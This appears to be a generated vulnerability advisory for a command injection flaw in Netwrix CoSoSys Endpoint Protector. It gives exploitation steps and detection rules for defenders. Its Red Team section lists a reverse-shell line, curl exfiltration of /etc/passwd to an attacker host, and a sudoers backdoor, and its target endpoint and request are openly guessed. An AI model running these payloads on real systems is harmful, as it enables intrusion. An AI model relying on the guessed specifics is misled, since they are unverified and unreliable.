CVE-2024-36072

Executive Summary

CVE-2024-36072 is a critical, unauthenticated remote code execution (RCE) vulnerability affecting Netwrix CoSoSys Endpoint Protector (up to version 5.9.3) and CoSoSys Unify (up to version 7.0.6). The flaw resides in the logging component of the server application, allowing an attacker to send a specially crafted request that results in the execution of arbitrary system commands with root privileges. No public proof-of-concept (PoC) or exploit code has been released at this time, and no official patch is available. The vulnerability is classified as CWE-78 (OS Command Injection) and carries a CVSS v3.1 base score of 9.8 (Critical). Given the lack of a patch and the high impact, immediate mitigation measures are strongly advised.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full system compromise.
• Integrity Impact: High (I:H) – attacker can modify system files.
• Availability Impact: High (A:H) – attacker can disrupt services.

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, leading to full root-level compromise. The absence of a patch and public exploit increases the risk of targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the logging component of the Netwrix CoSoSys Endpoint Protector and Unify server applications. The logging functionality improperly sanitizes user-supplied input before incorporating it into system commands. An unauthenticated attacker can send a malicious HTTP request containing shell metacharacters (e.g., ;, |, &&) to the logging endpoint. The server then passes this unsanitized input to a system command (likely via a function like system(), exec(), or Runtime.getRuntime().exec() in Java), resulting in arbitrary command execution with root privileges.

The attack flow:

1. Attacker identifies the vulnerable logging endpoint (e.g., /log or /api/log).
2. Attacker crafts a POST request with a payload such as ; id > /tmp/out.
3. The server logs the request and executes the injected command.
4. The command runs as root, allowing full control over the server.

The vulnerability is likely due to the use of a shell wrapper or direct command execution without proper input validation or escaping.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison cannot be made. However, a secure implementation would involve:

• Vulnerable: Direct concatenation of user input into a command string, e.g., Runtime.getRuntime().exec("logger " + userInput).
• Patched: Use of parameterized APIs or proper escaping, e.g., ProcessBuilder with arguments passed as a list, or input validation to reject shell metacharacters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Netwrix CoSoSys Endpoint Protector <= 5.9.3 or Unify <= 7.0.6.
• Network access to the vulnerable endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /log).
2. Send a crafted request with command injection payload.

Example Request (using curl):

curl -X POST "http://target:8080/log" \
  -H "Content-Type: application/json" \
  -d '{"message": "test; id > /tmp/pwned"}'

Example Payloads:

• Reverse shell: ; bash -i >& /dev/tcp/attacker_ip/4444 0>&1
• Data exfiltration: ; curl http://attacker_ip/$(cat /etc/passwd)
• Persistence: ; echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

Lab Setup:

• Use a vulnerable version of the software in a sandboxed environment.
• Monitor network traffic with Wireshark.
• Use a listener (e.g., nc -lvnp 4444) to catch reverse shells.

Blue Team (Detection & Response)

Detection:

• Monitor for unusual HTTP requests to logging endpoints containing shell metacharacters (;, |, &, `, $()).
• Alert on processes spawned by the server application (e.g., java, tomcat) that execute shell commands.
• Use the YARA and Sigma rules provided below.

Response:

• Immediately isolate affected systems.
• Review logs for signs of compromise.
• Apply network segmentation to limit exposure.
• If possible, disable the logging endpoint or restrict access via firewall rules.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /log or similar endpoints containing shell metacharacters.
  • Outbound connections from the server to unknown IPs on common ports (e.g., 4444, 8080).
• File IOCs:
  • Unexpected files in /tmp (e.g., /tmp/pwned).
  • Modified system files (e.g., /etc/sudoers, /etc/passwd).
• Process IOCs:
  • Processes spawned by the server application executing /bin/sh, /bin/bash, or curl.
• Log IOCs:
  • Server logs containing command injection patterns.

Detection Engineering

YARA Rule

rule CVE_2024_36072_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Netwrix CoSoSys logging endpoint"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-36072"
    strings:
        $cmd1 = /[;&|`$()]/
        $cmd2 = /(bash|sh|curl|wget|nc|python|perl)/
        $log_endpoint = "/log"
    condition:
        $log_endpoint and (#cmd1 > 2) and $cmd2
}

Sigma Rule

title: CVE-2024-36072 - Netwrix CoSoSys Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against Netwrix CoSoSys logging endpoint
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36072
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/log'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in log messages (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-36072 - Netwrix CoSoSys Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/log"; http_uri; pcre:"/[;&|`$()]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network if possible.
2. Restrict access to the vulnerable logging endpoint using firewall rules or web application firewall (WAF) signatures.
3. Monitor logs for signs of exploitation.

Long-term Fix:

• Apply vendor patch when available. Monitor Netwrix security advisories.
• Upgrade to a patched version once released.
• Implement input validation and sanitization for all user-supplied data.
• Use parameterized APIs instead of shell command execution.

Workaround:

• Disable the logging component if not essential.
• Use a reverse proxy to filter malicious requests.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.